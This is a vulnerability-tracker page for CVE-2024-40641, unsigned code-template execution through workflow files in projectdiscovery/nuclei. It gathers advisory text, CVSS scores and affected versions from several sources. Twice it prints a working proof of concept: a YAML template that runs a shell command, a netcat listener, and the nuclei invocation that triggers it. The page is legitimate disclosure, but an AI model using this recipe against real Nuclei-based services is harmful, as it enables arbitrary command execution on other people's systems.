CVE-2024-40641
Unsigned code template execution through workflows in projectdiscovery/nuclei
Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
Unsigned code template execution through workflows in projectdiscovery/nuclei
Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-40641- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2024-2317
7.4
Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
EUVD-2024-2317- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-c3q9-c27p-cw9h
8.8
projectdiscovery/nuclei allows unsigned code template execution through workflows
Summary
Find a way to execute code template without -code option and signature.
Details
write a code.yaml:
id: code
info:
name: example code template
author: ovi3
code:
- engine:
- sh
- bash
source: |
id
http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
- matchers:
- name: t
using nc to listen on 80:
nc -lvvnp 80
execute PoC template with nuclei:
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
and nc will get id command output.
We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
- Record
GHSA-c3q9-c27p-cw9h- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
7.4
Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-40641- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
7.4
Unsigned code template execution through workflows in projectdiscovery/nuclei
Nuclei is a fast and customizable vulnerability scanner based on simple YAML based DSL. In affected versions it a way to execute code template without -code option and signature has been discovered. Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute). This issue has been addressed in version 3.3.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Record
CVE-2024-40641- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-c3q9-c27p-cw9h
8.8
projectdiscovery/nuclei allows unsigned code template execution through workflows
Summary
Find a way to execute code template without -code option and signature.
Details
write a code.yaml:
id: code
info:
name: example code template
author: ovi3
code:
- engine:
- sh
- bash
source: |
id
http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
- matchers:
- name: t
using nc to listen on 80:
nc -lvvnp 80
execute PoC template with nuclei:
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
and nc will get id command output.
We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
- Record
GHSA-c3q9-c27p-cw9h- CVSS 4.0
- 8.8 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGO-2024-2989 No score
projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei
projectdiscovery/nuclei allows unsigned code template execution through workflows in github.com/projectdiscovery/nuclei
- Record
GO-2024-2989- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/projectdiscovery/nuclei/v3Go |
before 3.3.0 | 3.3.0 |
github.com/projectdiscovery/nucleiGo |
All versions | None known |
github.com/projectdiscovery/nuclei/v2Go |
All versions | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-40641 is a high vulnerability (CVSS 7.4) in Projectdiscovery Nuclei, published July 17, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in github.com/projectdiscovery/nuclei/v3 3.3.0.